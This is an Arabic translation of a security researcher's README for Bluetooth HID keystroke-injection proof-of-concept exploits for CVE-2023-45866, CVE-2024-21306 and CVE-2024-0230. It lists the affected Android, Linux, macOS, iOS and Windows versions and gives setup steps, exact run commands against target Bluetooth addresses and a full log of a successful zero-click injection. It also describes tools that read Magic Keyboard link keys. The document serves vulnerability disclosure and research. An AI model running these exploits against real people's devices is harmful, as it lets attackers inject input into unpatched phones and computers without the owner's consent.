
إثباتات مفهوم (PoCs) لاستغلال حقن ضغطات المفاتيح عبر البلوتوث للثغرات CVE-2023-45866 وCVE-2024-21306 وCVE-2024-0230، تستهدف Android وLinux وmacOS وiOS عبر لوحات مفاتيح HID محاكاة.
يحتوي هذا المستودع على نصوص برمجية لإثبات المفهوم للثغرات CVE-2023-45866 وCVE-2024-21306 وCVE-2024-0230. يمكن العثور على تفاصيل إضافية في منشور المدونة.
| إثبات المفهوم | الوصف |
|---|---|
| حقن ضغطات المفاتيح في أندرويد | يفرض إقران لوحة مفاتيح Bluetooth افتراضية بجهاز أندرويد ضعيف ويحقن ضغطات لمفتاح tab لمدة 10 ثوانٍ. |
| حقن ضغطات المفاتيح في لينكس | يفرض إقران لوحة مفاتيح Bluetooth افتراضية بمضيف لينكس ويحقن ضغطات لمفتاح tab لمدة 10 ثوانٍ. |
| حقن ضغطات المفاتيح في ماك أو إس | يفرض إقران لوحة مفاتيح Bluetooth افتراضية بمضيف macOS ويحقن ضغطات مفاتيح لفتح متصفح ويب وإجراء بحث في Google. |
| حقن ضغطات المفاتيح في آي أو إس | يفرض إقران لوحة مفاتيح Bluetooth افتراضية بمضيف iOS ويحقن ضغطات مفاتيح لفتح متصفح ويب والانتقال إلى عنوان URL. |
| حقن ضغطات المفاتيح في ويندوز | يفرض إقران لوحة مفاتيح Bluetooth افتراضية بمضيف ويندوز ويحقن ضغطات لمفتاح tab. |
| مفتاح ارتباط Magic Keyboard عبر منفذ Lightning | يقرأ مفتاح ارتباط Bluetooth من منفذ Lightning على Magic Keyboard. |
| مفتاح ارتباط Magic Keyboard عبر Bluetooth | يقرأ مفتاح ارتباط Bluetooth من خدمة HID عبر Bluetooth غير الموثّقة على Magic Keyboard. |
| مفتاح ارتباط Magic Keyboard عبر منفذ USB على جهاز Mac | يقرأ مفتاح ارتباط Bluetooth للوحة مفاتيح Magic المستهدفة عن طريق انتحال هوية لوحة المفاتيح عبر USB إلى جهاز Mac المرتبط بها. |
من المعروف أن هذه النصوص تعمل على جهاز مضيف يعمل بنظام Ubuntu 22.04 مع محول Bluetooth قائم على Broadcom.
استخدمت بشكل أساسي هذا المحول: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0
بدءًا من تثبيت نظيف لـ Ubuntu 22.04، يمكن تثبيت التبعيات باستخدام الأوامر التالية.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
أجهزة أندرويد معرّضة للخطر قبل مستوى تصحيح الأمان الصادر بتاريخ 2023-12-05.
عندما تكون ميزة Bluetooth مفعّلة على جهاز أندرويد غير مُحدَّث، يمكن للمهاجم إقران لوحة مفاتيح Bluetooth محاكاة وحقن ضغطات المفاتيح دون تأكيد من المستخدم. هذا هجوم بدون أي نقرة (zero-click) يعمل whenever تكون Bluetooth مفعّلة.
تؤثر هذه الثغرة على أندرويد ~4.2.2 والإصدارات الأحدث.
شغّل إثبات المفهوم مستهدفًا جهاز أندرويد 5C:F3:70:AA:07:BD باستخدام الواجهة hci1.```
./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
إذا نجحت العملية، سيحقن الـ PoC حمولة من ضغطات مفتاح `tab` لمدة 10 ثوانٍ.
#### مثال على الإخراج```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329] executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959] configuring Bluetooth adapter
[2024-01-07 11:03:01.963] calling RegisterProfile
[2024-01-07 11:03:01.966] running dbus loop
[2024-01-07 11:03:02.096] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108] executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141] executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144] executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877] connecting to SDP
[2024-01-07 11:03:02.877] connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832] SUCCESS! connected on port 1
[2024-01-07 11:03:03.832] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858] connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864] connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932] SUCCESS! connected on port 17
[2024-01-07 11:03:04.932] connecting to HID Interrupt
[2024-01-07 11:03:04.932] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008] SUCCESS! connected on port 19
[2024-01-07 11:03:05.008] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009] [RX-17] 9000
[2024-01-07 11:03:05.009] [TX-17] 00
[2024-01-07 11:03:05.065] [RX-19] a20101
[2024-01-07 11:03:05.259] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259] injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436] [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261] [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321] taking 'hci1' offline
أنظمة لينكس المضيفة التي تشغّل BlueZ 5 معرّضة للخطر قبل طرح التصحيحات في حوالي ديسمبر 2023. تعتمد أرقام الإصدارات المحددة على توزيعة لينكس.
عندما يكون مضيف لينكس غير مصحح قابلًا للاكتشاف والاتصال عبر بلوتوث، يمكن للمهاجم إقران لوحة مفاتيح بلوتوث مُحاكاة وحقن ضغطات المفاتيح دون تأكيد من المستخدم. هذا هجوم بدون نقر يعمل كلما كان المضيف قابلًا للاكتشاف والاتصال.
يُفهم أن هذه الثغرة تؤثر على توزيعات لينكس غير المصححة التي تستخدم التكوين الافتراضي لـ BlueZ 5.
صرّحت Google بأن ChromeOS لم يتأثر بهذه الثغرة، وعلى الرغم من عدم اختبار ChromeOS ضمن هذا البحث، فإن تكوين BlueZ الخاص به يبدو أنه يمنع الهجوم.
تشمل التوزيعات المتأثرة Ubuntu وDebian وGentoo وArch وFedora وRed Hat وYocto وAmazon Linux. قد تتأثر إصدارات متعددة، وعلى سبيل المثال، قامت Ubuntu بتصحيح الإصدارات 16.04 و18.04 و20.04 و22.04 و23.04 و23.10.
شغّل PoC مستهدفًا مضيف لينكس 58:28:39:E6:AE:1C باستخدام الواجهة hci1.```
./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
في حال نجاح الاستغلال، سيقوم الـ PoC بحقن حمولة من ضغطات مفتاح `tab` لمدة 10 ثوانٍ.